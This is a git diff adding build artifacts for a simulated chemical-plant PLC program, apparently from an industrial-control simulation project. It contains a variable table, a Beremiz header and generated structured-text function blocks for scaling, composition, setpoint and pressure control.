+256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + 